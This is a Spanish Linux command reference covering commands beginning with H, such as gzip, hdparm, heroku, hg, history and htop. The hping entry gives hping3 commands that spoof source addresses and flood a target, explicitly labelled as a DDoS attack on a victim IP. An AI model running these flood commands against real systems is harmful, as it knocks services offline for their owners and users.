Crearé dos archivos: `"/bin/ls"` y `"/bin/ls~"`. El original es el `ls~` que podrá borrarse una vez comprobado que lanzando `"ls"` en consola, funciona correctamente.

## gzip

(gz). Comprime un fichero substituyendolo por un .gz (ni empaqueta ni comprime directorios). Consta de varios ejecutables: `gunzip` (descomprimir .gz), `gzexe` (codifica porcentajes de un ejecutable sin modificar el nombre y se ejecutan igualmente), `zcat` (muestra el contenido de un .gz por la pantalla), `zcmp` (ejecuta `cmp` en comprimidos .gz), `zdiff` (ejecuta `diff` entre un archivo .gz y el mismo descomprimido si existe en el directorio), `zegrep` (ejecuta `egrep` en archivos .gz), `zfgrep` (ejecuta `fgrep` en archivos .gz), `zforce` (fuerza una extensión .gz para que `gzip` no los comprima de nuevo. Esto puede ser útil cuando los nombres de los archivos se truncaron durante una transferencia de archivos), `zgrep` (ejecuta `grep` en archivos .gz), `zless` (ejecuta `less` en archivos .gz), `zmore` (muestra el contenido de un .gz por la pantalla), `znew` (recomprime archivos de formato `compress` [.Z] a formato `gzip` [.gz])

```
$ gzip -r fichero
Comprimir
```

```
$ gzip -9 archivo
Con compresión máxima
```

```
$ gzip -d fichero.gz
Descomprimir
```

```
$ gzip -c fichero.gz
Ver contenido
```

```
$ gzexe datos.sh
si lo abrimos con un editor veremos parte codificada pero podrá ejecutarse normalmente con ./datos
.sh
```

---

## H

---

### hachoir-metadata

Ver entrada python-hachoir-metadata

### hal-device

Crea, suprime y muestra dispositivos

```
$ hal-device -a dispositivo  
añadir
```

```
$ hal-device -r dispositivo  
borrar
```

```
$ hal-device | grep volume.label  
mostrar etiquetas de todos los volúmenes
```

### halt

[poweroff, reboot]. Se puede utilizar para detener, apagar o reiniciar la máquina. Los tres comandos tienen las mismas opciones.

```
$ halt --halt  
Detener la máquina, independientemente de cuál de los tres comandos se invoque
```

```
$ halt --reboot  
Reiniciar la máquina, independientemente de cuál de los tres comandos se invoque
```

### hardlink

Herramienta que detecta archivos iguales y los reemplaza con enlaces duros.

```
# hardlink -f -x /videos -t -o /home/usuario  
Enlazar archivos con el mismo nombre [f], excluyendo el directorio "videos" [x], comprobando  
aunque la fecha de modificación sea diferente [t], ignorando el propietario [o] y sobre la carpeta  
personal
```

```
# hardlink -n /home/usuario  
Hacer una simulación
```

## haroopad

Procesador de textos en markdown que al dividir la pantalla en dos, permite visualizar el resultado directamente. Descargar de github <<https://github.com/rhiokim/haroopad>>

```
$ haroopad -f archivo.md
```

```
$ haroopad --mode view archivo.md
```

Abrir el archivo sólo en modo lectura

```
$ haroopad --mode edit archivo.md
```

Abrir el archivo sólo en modo edición

## hasciicam

Visualizar la webcam via ascii.

```
$ hasciicam -m html -c 50 -o
```

En modo html, contraste 50 [de 0 a 100. Por defecto 4] y guardar el archivo

Otras opciones:

`-i /dev/xxxx` (Especificando dispositivo. Por defecto `/dev/video`)

`-o archivo` (Guardar imagen en archivo. Se reescribe según el parámetro `-r`. Si no se especifica salida, por defecto es `hasciicam.html` [para html] y `hasciicam.txt` [para txt])

`-r 1` (Refrescar imagen cada 1 segundo. Por defecto 2. No afecta al modo live)

## hash

Lista de los últimos comandos usados y la frecuencia.

```
$ hash
```

```
$ hash -l
```

```
$ hash -d date
```

borrar la entrada date del listado

```
$ hash -r
```

borrar todo el listado

## hash-identifier

Se le especifica un hash y la herramienta lo estudia y muestra el tipo más probable que podría ser [Possible Hashs] y los menos probables [Least Possible Hashs]. Descarga: <<https://code.google.com/p/hash-identifier/downloads/list>>

```
$ python Hash_ID_v1.1.py
```

Cuando sale el prompt pasteear el hash:

HASH: caf90169eefa5f807d577486b9f795ab86ae2983c5c20806cff959117e90af18

```
Possible Hashs:
[+] SHA-256
[+] Haval-256
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256 (HMAC)
[+] Haval-256 (HMAC)
[+] RipeMD-256 (HMAC)
[+] SNEFRU-256 (HMAC)
[+] SHA-256 (md5 ($pass))
[+] SHA-256 (sha1 ($pass))
```

## hashalot

Entrar una frase y muestra su hash. Soporta: ripemd160, rmd160, rmd160compat, sha256, sha384 y sha512

```
$ hashalot -x sha256
En binario [x]
```

```
Enter passphrase:
c9168d9f82c8d04dcaea564c9dfbdd4924b26cfec589e739fdac346af936a542
Nota.- la frase entrada y que no se muestra en el prompt es: linux es genial
```

## hashid

Identificar diferentes tipos de hashes utilizados para cifrar datos y especialmente contraseñas. es una herramienta escrita en Python 3.x que admite la identificación de más de 175 tipos de hash únicos mediante expresiones regulares. Es capaz de identificar un único hash o analizar un archivo e identificar los hashes que contiene. También hay disponible una versión nodejs de hashID que se configura fácilmente para proporcionar identificación de hash en línea.

```
$ hashid -e caf90169eefa5f807d577486b9f795ab86ae2983c5c20806cff959117e90af18
$ hashid -m 89939edf840d6edd260dcf326eb71beed79f776d -o file
incluir el modo hashcat en la salida y guardarla en file
```

## hashtag

Analiza e identifica varios hashes de contraseñas en función de su tipo. Descarga de <<https://github.com/SmeegeSec/HashTag>>

```
# hashtag -sh $1$MtCReiOj$zvOdxVzPtrQ.PXNW3hTHIO
Analizar uno sólo
```

```
# hashtag -f archivo
Analizar todos los hash contenidos en un archivo
```

```
# hashtag -d dir -o archivo
recorrer un directorio y todos los subdirectorios intentando identificar todos los hash
potenciales y mandando el resultado a un archivo. Si no se especifica, la salida es
HashTag_Output_File.txt
```

## hciconfig

Configuración de dispositivos bluetooth.

```
# hciconfig -a
Para saber cual es el dispositivo
```

```
# hciconfig hci0 up
Levantar el dispositivo
```

```
# hciconfig hci0 down
Parar el dispositivo
```

```
# hciconfig hci0 revision
Información completa del dispositivo
```

```
# hciconfig hci0 piscan
activar visibilidad de la exploración
```

```
# hciconfig hci0 noscan
Desactivarla
```

```
# hciconfig -h
Listado completo de comandos disponibles
```

## hcitool

Busqueda de dispositivos bluetooth, siempre que no esten en modo oculto.

```
$ hcitool scan
Busca dispositivos activos
```

```
$ hcitool info
Muestra información de los dispositivos encontrados
```

## hddtemp

Indica la temperatura del disco especificado

```
# hddtemp /dev/sda
# hddtemp -d /dev/sda
arrancar el daemon
```

## hdparm

consultar y modificar diferentes parámetros de los discos duros.

```
# hdparm /dev/sda
Informa del estado [activado o no] de las opciones de hdparm
```

```
# hdparm -tT /dev/sda
Comprobar velocidad de lectura
```

```
# hdparm -i /dev/sda
Informa de las características del disco duro
```

```
# hdparm -I /dev/sda
Mostrar información más extendida
```

1.-

Desactivación del APM (Gestión avanzada de energia) de los portatiles ya que esta tecnologia alarga la duración de la batería en detrimento de la vida útil del disco duro.

```
# hdparm -I /dev/sda
```

El parámetro que indica si tenemos APM y la frecuencia de ciclo de carga-descarga es:

Advanced power management level: 128

```
# smartctl -a /dev/sda | egrep 'ID|Load_Cycle'
El parámetro RAW_VALUE indica la cantidad de ciclos que el HD ha consumido. La cantidad de ciclos oscila entre 300000 y 600000 por HD
```

```
# hdparm -B 254 /dev/sda
Disminuir la frecuencia de los ciclos a mínimo. El valor máximo sería 1 y desactivado 255
```

2.-

Minimizar el ruido del disco duro:

```
# hdparm -I /dev/sda |grep acoustic
```

Muestra el valor recomendado y el valor actual. Si vemos que el recomendado es menor que el valor actual podemos modificarlo con:

```
# hdparm -M (VALOR RECOMENDADO) /dev/sda
```

## H

---

### head

muestra por defecto las primeras 10 líneas de un archivo si no se especifica cantidad.

```
$ head /var/log/apache2/access.log
```

```
$ head -50 /var/log/maillog
las primeras 50
```

```
$ head -5 archivo1 archivo2
Muestra las 5 primeras líneas de los dos archivos
```

### health-check

monitorea los procesos y, opcionalmente, sus procesos secundarios y subprocesos durante un período de tiempo determinado. Al final del monitoreo, mostrará el tiempo de CPU utilizado, los eventos de activación generados y las operaciones de E/S de los procesos dados.

```
$ health-check -d 10 -p ,emacs
monitorear 10 segundos [por defecto 60] el proceso emacs
```

```
$ health-check -d 10 -p 9809
lo mismo especificando PID
```

### hegemon

[libsensors4-dev cargo]. Monitoreo del sistema: Velocidad del ventilado, temperatura, CPU, memoria y uso de swap. El intervalo de monitorización es 3 segundos. Al estar escrito en lenguaje RUST, una vez instalado:

```
$ cargo install hegemon
```

Puede requerir incluir la ruta de los ejecutables que usa RUST en el patch:

```
$ export PATH="$HOME/.cargo/bin:$PATH"
```

Para ejecutarlo:

```
$ hegemon
```

### hello

Muestra el clásico "Hola, mundo" o un saludo personalizable.

```
$ hello -t
El tradicional "Hola, mundo"
```

```
$ hello -n
Un "Hola, mundo" de nueva generación
```

```
$ hello -g "Linux es un sistema genial"
Muestra la frase
```

### help

Muestra los comandos disponibles en bash. Estos comandos no tienen página man, por lo que para acceder a una descripción se usa esta opción.

```
$ help
```

```
$ help fc
```

## help2man

Programa para crear páginas man simples a partir de la salida `--help` y `--version` de un programa.

```
$ help2man --no-discard-stderr script.sh
incluir la salida stderr del script al analizar la salida de la opción
```

## helpztags

Escanea directorios dados en busca de archivos `*.txt` y `*.txt.gz`. Cada archivo es escaneado para encontrar etiquetas utilizadas en los archivos de ayuda de vim. Para cada directorio se genera un archivo de etiquetas adecuado.

```
$ helpztags Documents/*
```

## heroku

Gestión de los blogs alojados en <http://www.heroku.com> Ver octopress 17.

```
$ heroku apps:rename nuevo_nombre --app viejo_nombre
Renombrar un blog. Si se hace en la web en algunos casos da problemas
```

```
$ heroku addons
Ver los addons instalados
```

```
$ heroku apps
Muestra los blogs alojados
```

```
$ heroku login
Logearse con el nombre de usuario y contraseña de registro
```

```
$ heroku create
Crea el repositorio en el directorio actual
```

```
$ heroku logs
Muestra los logs
```

```
$ heroku ps
Ver las aplicaciones corriendo en heroku
```

```
$ heroku restart web.1
Reiniciar la aplicación a partir del dato obtenido con ps
```

```
$ heroku apps:destroy mighty-fortress-6385
Eliminar una app
```

```
$ heroku sharing --app tractatuslapipaplana
Ver los colaboradores de un proyecto
```

```
$ heroku auth:login
Pide los datos de registro
```

```
$ heroku keys:add ~/.ssh/id_rsa.pub
Subir la clave publica
```

```
$ heroku git:remote -a tractatuslapipaplana
Añadir una aplicación Heroku con control remoto Git
```

## hexdump

[`exedit`]. Editor de archivos binarios.

```
$ hexdump -C archivo_binario
```

## hg

[mercurial]. Mercurial es un potente programa de control de versiones para nuestros proyectos. Previamente crear en la carpeta personal, el archivo:

```
$ nano .hgrc
```

Con el siguiente contenido:

```
[ui]
username = Juanito Perez juanitoperez@gmail.com
```

```
$ hg init repositorio .
crea un repositorio en el directorio actual o en el que se especifique
```

```
$ hg add
añade los ficheros existentes en el directorio a nuestro proyecto
```

```
$ hg clone http://servidor.com/hg
clona un repositorio a la carpeta actual
```

```
$ hg clone ssh://usuario@servidor.com/carpeta repositorio
clona "carpeta" usando ssh en el directorio "repositorio" del directorio actual
```

```
$ hg status
muestra el estado de los ficheros del proyecto
```

```
$ hg commit
realizamos un commit al proyecto
```

```
$ hg push
enviamos los cambios al repositorio remoto
```

```
$ hg pull
recuperamos cambios del repositorio
```

```
$ hg update
Recargar los archivos despues de un pull
```

```
$ hg update -C
Mezclar cambios [merge]
```

```
$ hg log
vemos todos los cambios realizados en el proyecto
```

```
$ hg log -r 5
Muestra la 5ª revisión
```

```
$ hg log -r 2:5
Muestra de las 2ª a la 5ª revisión
```

```
$ hg log -p -r 6
Muestra todas las modificaciones del archivo de la 6ª revisión
```

```
$ hg tip -v
Muestra los datos de la última revisión
```

```
$ hg help comando
vemos la ayuda integrada del hg para el comando
```

## hidd

Gestionar dispositivos blueetooth

```
# hidd --search
Buscar dispositivos
```

```
# hidd --connect 0A:1B:2C:4D:5E:6F
Conectar a un dispositivo
```



## hipstopgm

[Netpbm]. Lee un archivo HIPS [Human Information Processing Laboratory] como entrada y produce una imagen PGM como salida. Si el archivo HIPS contiene más de una imagen se concatenará todas las imágenes verticalmente.

```
$ hipstopgm archivo_de_hips
```

## hishrink

Convierte un archivo ASCII HINT, generalmente con la extensión .hint, en un archivo binario HINT, con la extensión .hnt. El formato de archivo HINT basado en ASCII, también llamado formato 'largo', está optimizado para facilitar la lectura. Se puede editar con un editor de texto. Por lo tanto, permite modificaciones simples que serían difíciles de lograr utilizando el formato binario. También es conveniente al depurar. El formato de archivo binario HINT, también llamado formato 'corto', está optimizado para mostrar archivos HINT. El formato de archivo HINT binario está diseñado para la lectura en pantalla de documentos.

## history

Lista los comandos utilizados por el usuario

```
$ history 20
Lista los últimos 20
```

```
$ history -c
Elimina el historial
```

```
$ history -d 125
Eliminar la orden 125. útil si se escribió la contraseña y esta queda visible en el historial
```

```
$ history -d 100-125
Eliminar las ordenes de la 100 a la 125
```

```
$ history | awk '{print $2}' | sort | uniq -c | sort -rn | head -10
lista los 10 comandos más usados y numero de veces
```

```
$ !354
ejecutará el comando 354 del listado de history
```

```
$ history | grep cp
Buscar en el historial las veces que se ha lanzado cp
```

```
$ history -a
Guardar el historial sin cerrar la sesión
```

```
$ echo $HISTCMD
número de comandos registrados en history
```

## histretch

Traducción de archivos HINT binarios a archivos ASCII. La inversa de los que hace el comando hishrink [ver]

## hodie

Muestra la fecha en latín.

```
$ hodie -n
En numeral
```

```
$ hodie -c -v
De forma clásica
```

## holes

Busca funcionamientos de cero bytes en los archivos de entrada especificados (o la entrada estándar) e imprime las direcciones de inicio (en hexadecimal) así como las longitudes (en decimal).

```
$ holes /usr/bin/thunar
```

```
$ holes archivo.txt
```

## hollywood

Utilidad que divide la consola en múltiples paneles para crear un autentico melodrama geek de Hollywood. Puede usarse como salvapantallas con un excelente suspenso técnico. Para finalizar la aplicación pulsar C-c

```
$ hollywood
```

## honeyproxy

[python-pip]. Analiza el tráfico web. Instalación:

```
# pip install pyOpenSSL pyasn1 Twisted Autobahn
```

```
$ git clone --recursive git://github.com/mhils/HoneyProxy.git
```

```
$ cd HoneyProxy
```

```
# python honeyproxy.py --no-gui -a 192.168.1.15
```

Arrancar el servicio

```
HoneyProxy has been started!
Configuration Details (normal users: ignore):
GUI: http://honey:zhw78b35ioynhg8vr4jcfmn5f326d4e4@localhost:8081/app/
Proxy Address: 192.168.1.15:8080
WebSocket Port: 8082
Auth user: honey
Auth key: zhw78b35ioynhg8vr4jcfmn5f326d4e4
```

Una vez instalado y arrancado el servicio, configurar el navegador para su uso en Editar/Preferencias/Avanzado/Red/Configurar la conexión, clicar en "Configuración manual del proxy" y en servidor intermediario de HTTP poner la ip de la máquina local o remota puesta al arrancar la aplicación [192.168.1.15 en este caso] y el puerto 8080. Los informes, colocando en la barra de navegación la dirección que muestra al arrancar el servicio, en este caso: `http://honey:zhw78b35ioynhg8vr4jcfmn5f326d4e4@localhost:8081/app/` (usuario: honey y key: zhw78b35ioynhg8vr4jcfmn5f326d4e4). Por defecto los informes se guardan en `./dump/sites`. Para parar el servicio, matar el proceso:

```
$ ps aux | grep honeyproxy
$ kill -9 PID
```

## host

Determina la ip de un registro DNS o, a partir de una ip, el nombre de registro

```
$ host -v -a telefonica.com
```

```
$ host -t SOA google.com
```

```
$ host -R 3 google.es
```

Eleva a 3 el número de intentos para obtener respuesta. Por defecto 1

```
$ host -C google.es
```

Muestra los registros SOA y los servidores de nombres autorizados.

Tipos de registros

```

A (Registro de dirección que resuelve un nombre de un anfitrión hacia una dirección IPv4)
AAA (Registro de dirección que resuelve un nombre de un anfitrión hacia una dirección IPv6
)
MX (Registro de servidor de correo que sirve para definir una lista de servidores de
correo para un dominio, así como la prioridad, el que tiene el número más bajo de los
servidores de correo es el que tiene mayor prioridad.)
PTR (Registro de apuntador que resuelve direcciones IPv4 hacia el nombre anfitriones. Es
decir, hace lo contrario al registro A. Se utiliza en zonas de Resolución Inversa)
NS (Registro de servidor de nombres que sirve para definir una lista de servidores de
nombres con autoridad para un dominio)
SOA (Registro de inicio de autoridad que especifica el Servidor DNS Maestro (o Primario)
que proporcionará la información con autoridad acerca de un dominio de Internet,
dirección de correo electrónico del administrador, número de serie del dominio y
parámetros de tiempo para la zona)
SRV (Registro de servicios que especifica información acerca de servicios disponibles a
través del dominio)
CNAME (Registro de nombre canónico que hace que un nombre sea alias de otro)

```

## host.conf

(/etc/host.conf). Archivo que contiene el orden de cómo serán ejecutadas las resoluciones que requiera el "Host". Algunos parámetros:

**\*\*order hosts,bind,nis\*\*** (que cualquier tipo de resolución primero consulte el archivo /etc/hosts , en segundo lugar a BIND y si aún no se ha logrado la resolución, intentar con NIS)

```

BIND (Llamada al servidor de nombres)
NIS ("Network Information Server" es un sistema de resolución desarrollado por Sun
Microsystem's , su implementación generalmente esta limitada a intranets y utiliza una
metodología diferente a la usada por BIND
**multi on** (Que devuelva más de un resultado si existen alias ya que un host puede tener varias
direcciones IP y la dirección IP puede coincidir con varios nombres de host. Por defecto es
off [sólo se muestra el primero] )

```

**\*\*spoofoalert on\*\*** (Intentar encontrar el nombre de host de una dirección IP. Si la aplicación no devuelve el resultado correcto, puede significar que una máquina intenta hacerse pasar por lo que no es.)

**\*\*nospoof on\*\*** (rechaza los resultados que no pasan la prueba de robo de identidad)

**\*\*reorder on\*\*** (intenta reordenar las direcciones de host para que las direcciones locales [misma subred] se listen en primer lugar)

## hostid

Muestra la identificación en hexadecimal del presente host.

```
$ hostid
```

## hostname

Mostrar/modificar el hostname.

```
$ hostname -a
el alias de la maquina
```

```
$ hostname -i
la IP del ordenador
```

```
$ hostname -s
el nombre de la maquina
```

1.-

Pasos para modificar el hostname:

## H

```
# nano /etc/hosts
```

Y modificar la segunda línea:

```
127.0.0.1      localhost
```

```
127.0.1.1      nuevo_nombre
```

```
# nano /etc/hostname
```

Suprimir el nombre existente por nuevo\_nombre

Lanzar el comando:

```
# hostname nuevo_nombre
```

Reiniciar.

## hostnamectl

Comando similar a hostname pero más moderno. Muestra el nombre de host, el sistema operativo, el kernel y la arquitectura usada entre otros datos.

```
$ hostnamectl
muestra los datos del sistema
```

```
$ hostnamectl status
lo mismo que la anterior
```

```
# hostnamectl set-hostname nombre_maquina
define el hostname
```

## hosts

(/etc/hosts). Contiene la resolución de "Hosts" definidos localmente. La estructura es: IP, nombre del host.

```
127.0.0.1      localhost
127.0.1.1      tux
192.168.1.10   crontux.zzzz.org
1.-
```

Configurar bloqueo de páginas web:

```
# nano /etc/hosts
Y debajo de:
```

```
127.0.0.1 localhost
127.0.1.1 tux
Añadimos, después de la ip local, las que se quieran bloquear separadas por un espacio:
```

```
127.0.0.1 www.porn.net www.google.es www.microsoft.com
```

## hostsed

Herramienta para editar el archivo de hosts (por defecto /etc/hosts), puede agregar o eliminar una entrada DNS a través del shell de línea de comando. Hostsed proporciona una experiencia de línea de comandos idempotente con sus comandos 'agregar' y 'eliminar' que evitan entradas duplicadas o faltantes en el archivo de hosts.

```
$ hostsed add hostname
añadir un host en /etc/hosts
```

```
$ hostsed del hostname
suprimir un host de /etc/hosts. Con el mismo resultado puede usarse además de "del", "rm", delete y "remove"
```

```
$ hostsed drop hostname
Eliminar líneas con IP o nombre de host especificado del archivo /etc/hosts
```

## hp-check

[hplip]. Comprueba versiones, dependencia y permisos de HPLIP de la impresora HP. Crea un log en el directorio en el que se lanza con el nombre hp-check.log

```
$ hp-check -g
en modo debug. -t en texto plano.
```

## hp-doctor

[hplip]. Herramienta que comprueba versiones en desuso, complementos, dependencias, colas, permisos y proporciona procedimientos de autodiagnóstico de la impresora HP.

```
$ hp-doctor -g
modo debug
```

## hp-info

[hplip]. Muestra parametros de información de la impresora HP.

```
$ hp-info -g
en modo debug
```

## hp-levels

[hplip]. Muestra información gráfica sobre la carga de tinta de la impresora HP.

```
$ hp-levels -c -a '$'
en color y que use el simbolo "$" para el gráfico
```

## hplip

Soporte de HP para la mayoría de las impresoras de inyección de tinta HP y muchas LaserJets, tanto para escanear, enviar faxes y para el acceso a tarjetas fotográficas en la mayoría de las impresoras multifuncionales de la marca. Algunos de los comandos disponibles, a parte de algunos que estan directamente relacionados son: hp-align, hp-clean, hp-colorcal, hp-config\_usb\_printer, hp-firmware, hp-logcapture, hp-makeuri, hp-pkservice, hp-plugin, hp-probe, hp-query, hp-setup, hp-testpage y hp-timedate.

## hp-scan

[hplip]. Herramienta de escaneo para una impresora HP.

```
$ hp-scan -g -m color
scanea una HP en color [gray para blanco y negro] y guarda el resultado por defecto con el nombre
hpscan001.jpg
```

```
$ hp-scan -f scan.jpg --pdf=evince
guardarlo como scan.jpg y visualizarlo al final con evince
```

## hping

Herramienta de intrusión remota (ataque ICMP)

```
# hping3 -I eth0 -S 192.169.2.2
ping no silencioso
```

```
# hping3 -I eth0 -a 192.168.2.158 -S 192.169.2.2
enmascarando nuestra IP con una de ficticia-192.168.1.158
```

```
# hping3 -I eth0 -a 192.168.2.158 -S 192.168.2.2 -p 135
Descubrir máquinas que con un ping no responden, enmascarando la IP y especificando un puerto
```

```
# hping3 -S -a ip_ficticia -p 80 -k ip_atacada
```

```
# hping3 -i m100 -S -a ip_ficticia -p 80 -k ip_atacada
```

```
# hping3 -S 192.168.1.158 --flood --rand-source -d 5000 -p 80
Enviando paquetes lo más rápido posible [flood], simulando orígenes aleatorios [rand-source],
tamaño del paquete en bites [d] y puerto de entrada
```

```
# hping3 --rand-source -p 80 -S --flood ip_victima
ataque DDos a una ip
```

## hsetroot

Coloca imagen en el fondo de pantalla permitiendo modificar: brillo, contraste, transparencias...

```
$ hsetroot -clear "#f6f6f6"
Borra el rango de color especificado
```

```
$ hsetroot -center imagen.jpg
coloca la imagen centrada. Otras opciones: -tile: mosaico, -full: respetando proporciones y -fill:
redimensiona al tamaño de la pantalla
```

```
$ hsetroot -blur 1.5 imagen.jpg
desenfoca
```

```
$ hsetroot -contrast 30 imagen.jpg
Ajusta el contraste al valor
```

```
$ hsetroot -flipv imagen.jpg
Refleja la imagen vertical. -fliph: horizontal y -flipd: diagonal
```

```
$ hsetroot -alpha 150 imagen.jpg
```

## hstr

Herramienta que mejora la búsqueda hacia atrás [history], haciendo esta búsqueda mucho mas fácil que con el C-r convencional. Debemos entrar en source.list el repositorio:

```
deb https://www.mindforger.com/debian stretch main
E incorporamos la key GPG:
```

```
# wget -qO - https://www.mindforger.com/gpgpubkey.txt | sudo apt-key add -
```

Recargamos e instalamos:

```
# apt update
```

```
# apt install hstr
```

Uso:

```
$ hstr rkhunter git
mostrará los comandos del historial con los argumentos especificados
```

```
$ hstr -s
ver la configuración por si se desea incorporar a ~/.bashrc. En caso afirmativo lanzar: $ hstr --
show-configuration >> ~/.bashrc
```

## htcacheclean

Se usa para mantener el tamaño del almacenamiento de mod\_disk\_cache dentro de un cierto límite. Esta herramienta puede ejecutarse manualmente o en modo demonio. Cuando se ejecuta en modo daemon, actúa en segundo plano y comprueba los directorios de la caché a intervalos regulares para ver si el contenido de la caché se ha eliminado.

```
# htcacheclean -v -t -p/var/cache/apache2/mod_cache_disk -l1024M
de forma detallada [v], eliminando directorios vacíos [t] del pDIR y con límite lLIMIT
```

Alguna opción:

```
-r (Limpiar a fondo. Esto supone que el servidor web Apache no se está ejecutando)
-n (provoca un procesamiento más lento en favor de otros procesos)
```

## htdbm

Se usa para manipular los archivos de formato DBM que se usan para almacenar nombres de usuario y contraseñas para la autenticación básica de usuarios HTTP a través de mod\_authn\_dbm de apache.

```
# htdbm -c /etc/apache2/.htdbm pepe
pedira contraseña y con firmación y creará el archivo .htdbm encriptado
```

```
# htdbm /etc/apache2/.htdbm pepe
pide la nueva contraseña y confirmación de "pepe"
```

```
# htdbm -x /etc/apache2/.htdbm pepe
suprime al usuario "pepe")
```

## html

Lenguaje de marcado predominante en la elaboración de páginas web.

Las etiquetas básicas de HTML de obligada presencia en todo documento son:

```
<!DOCTYPE> (define el tipo de documento HTML)
<html> (Inicio del documento)
<head> (Cabecera del documento. Metadatos que no se muestran en el navegador pero de
especial relevancia para indexadores)
En el interior de la etiqueta <head> podemos encontrar:
<title> (Título que aparece en la barra del navegador)
<meta> (Metainformación del documento: autor, fecha realización, codificación ...)
<LINK> (Otros metadatos: referencias a documentos anteriores, glosarios...)
<body> (Cuerpo del documento que se muestra en el navegador)
Dentro de la etiqueta <body> podemos encontrar:
<a> (Ancla. Crea un enlace a otro documento o parte del mismo)
<h1>, <h2>, <h6> (Establece la medida de los títulos de cabecera. De h1, más grande a h6
más pequeño)
<div> (División estructural de la página)
<p> (Párrafo)
<br> (Salto de línea)
<table> (Inicio de una tabla. La fias se defines con <tr> i las celdas dentro de las filas
con <td>)
<ul> Lista desordenada. Los ítems se definen con <li>)
<ol> (Lista ordenada. Los ítems se definen con <li>)
<dl> (Lista de definición. Pueden ser <dt> [termino a definir] y <dd> Definición del
termino)
Excepto algunas pocas etiquetas, la mayoría requieren ser cerradas con la misma etiqueta precedida
de una barra: <html>....</html>
```

Nota.- Los permisos de las carpetas que se muestran en localhost [/var/www/html] han de ser 755 y los ficheros 644.

## html2text

Lee documentos HTML en los archivos de entrada y los convierte en texto sin formato.

```
$ html2text -o salida.txt archivo.html
especificando nombre del archivo de salida
```

```
$ cat entrada.html | html2text -o salida.txt
en forma de tubería
```

```
$ echo q | htop -C | aha --line-fix | html2text -width 999 | grep -v "F1Help" | grep -v "xml
version=" > file.txt
Especificando un ancho distinto de 79 caracteres
```

## htop

Muestra el consumo de CPU, RAM y SWAP y debajo de estos los diferentes procesos organizados por defecto de mayor a menor consumo de CPU. Pulsando u podremos introducir el usuario a monitorizar y pulsando k e introduciendo el PID, mataremos el proceso.

```
$ htop
```

## htpasswd

Comando con el que definimos usuario y contraseñas para el servidor apache.

```
$ htpasswd -c /home/USER/public_html/.htpasswd USUARIO
Creando el archivo .htpasswd en la ruta especificada con los datos de usuario
```

## httpd

Servicio de protocolo de transferencia de apache

```
$ httpd -l
visualizar los módulos activos de apache
```

```
$ httpd -L
Listado de directivas disponibles
```

```
$ httpd -t
realiza un test de los archivos de configuración [Syntax OK]
```

```
$ httpd -h
muestra las opciones
```

```
$ httpd -v
versión de apache
```

```
$ httpd -V
versión y parámetros compilados
```

## httping

Ping específico para conexiones HTTP. Envía solicitudes a un nombre de host o una URL remota y muestra cuánto tiempo lleva conectarse, enviar una solicitud HTTP y recuperar la respuesta.

```
$ httping -g http://www.tuxapuntos.com
forma básica
```

```
$ httping -l -g https://localhost/
usando una conexión SSL
```

```
$ httping -h localhost -p 80
ping a localhost usando el puerto 80
```

```
$ httping -g http://localhost/ -U username -P password
usando autenticación
```



## httrack

[WebHTTrack]. Crea en local una copia navegable de una web que puede visualizarse con un navegador sin necesidad de conexión a internet.

```
$ httrack sitio_escogido.com
```

Crea en el directorio personal una carpeta "sitio\_escogido.com" con todos los datos descargados del sitio original

```
$ httrack sitio_escogido.com -O /root/descargas/pelis
```

Especificando lugar de descarga

## hunspell

Corrector ortográfico y morfológico. Permite modificar, incluir y ver opciones de palabras.

```
$ echo 'El pinguino es hun systema mui bonito' | hunspell -A -d es_ES (Tradudir una frase
. Los asteriscos son palabras correctas)
@(#) International Ispell Version 3.2.06 (but really Hunspell 1.4.0)
*
& pinguino 1 3: pingüino
*
& hun 8 15: hin, un, huna, huno, han, aun, hui, huy
& systema 2 19: sistema, estema
& mui 12 27: muí, muo, mi, muir, muió, mua, mue, mus, tui, fui, mué, muy
& bonito 4 31: bonito, bonitos, bonito o, boniato
```

```
$ hunspell -d es_ES -l archivo.txt
```

Carregar un texto

```
$ hunspell -d es_ES -l archivo.odt
```

un odt

```
$ hunspell -d es_ES -p unrecognized archivo.odt
```

palabra por palabra

## hwb

Hardware Book contiene información técnica diversa sobre computadoras y otros dispositivos electrónicos. También hay muchos conectores comunes y poco comunes disponibles, así como

información sobre cómo construir cables. Colocar en el navegador `file:///usr/share/doc/hwb/html/about/index.html`

## hwclock

Ver fecha y hora de la BIOS

```
# hwclock -D
```

Muestra toda la información)

```
# hwclock -w
```

sincroniza la del hardware a la del sistema

```
# hwclock -r
```

verifica desfase entre ambas

## howdoi

Consultar en StackOverflow alguna pregunta relacionada con programación, codificación, obtener ayuda en sintaxis, buscar bibliotecas para un propósito específico, resolver errores, usar funciones predefinidas y sus aplicaciones, etc.

```
$ howdoi commit on git
```

```
$ howdoi comment bash
```

```
$ howdoi redirect webpage
```

## hwinfo

Información sobre la máquina más completa que con lshw.

```
$ hwinfo --disk
Información sobre los discos
```

```
$ hwinfo --short --block
descripción general
```

```
$ hwinfo --disk --only /dev/sdb
información de un disco solamente
```

```
$ hwinfo --short
mostrar un resumen
```

## hwloc-gather-topology

Guarda los archivos de topología relevantes y la salida hwloc para uso posterior:

```
$ hwloc-gather-topology --dmi hwloc
```

```
Topology files gathered in ./hwloc-topology.tar.bz2 and kept in /tmp/tmp.Mfv99mIHmB/hwloc/
Expected topology output stored in ./hwloc.output
WARNING: Do not post these files on a public list or website unless you
WARNING: are sure that no information about this platform is sensitive.
El resultado nos advierte: "No publique estos archivos en una lista pública o sitio web a menos
que estamos seguros de que ninguna información sobre esta plataforma es confidencial." y del
directorio en el que los encontraremos: /tmp/tmp.Mfv99mIHmB/hwloc/
```

## hwloc-info

Muestra información sobre la topología de la máquina, proporcionando una vista jerárquica de la máquina, nodos de memoria NUMA, enchufes, cachés compartidos, núcleos, etc.

```
$ hwloc-info
```

```
$ hwloc-info package:all
```

```
$ hwloc-info -p core:2
```

## hwloc-ls

Mostrar la topología del sistema. Comando parecido a lstopo-no-graphics y lstopo y con las mismas opciones.

```
$ hwloc-ls -.ascii
muestra la topología en forma ascii
```

```
$ hwloc-ls -p
de forma lógica
```

```
$ hwloc-ls -c
de la cpu
```

```
$ hwloc-ls --whole-system
sin limitaciones de administración
```

## hwloc-ps

Listar los procesos que se esta ejecutando o los hilos que los enlazan.

```
$ hwloc-ps -a
Todos
```

```
$ hwloc-ps -e
informa de los últimos procesadores donde se ejecutó un proceso o subproceso.
```

Nota.- El resultado puede estar desactualizado ya que el sistema operativo puede mover las tareas a otros procesadores en cualquier momento de acuerdo con el enlace.

## hxttools

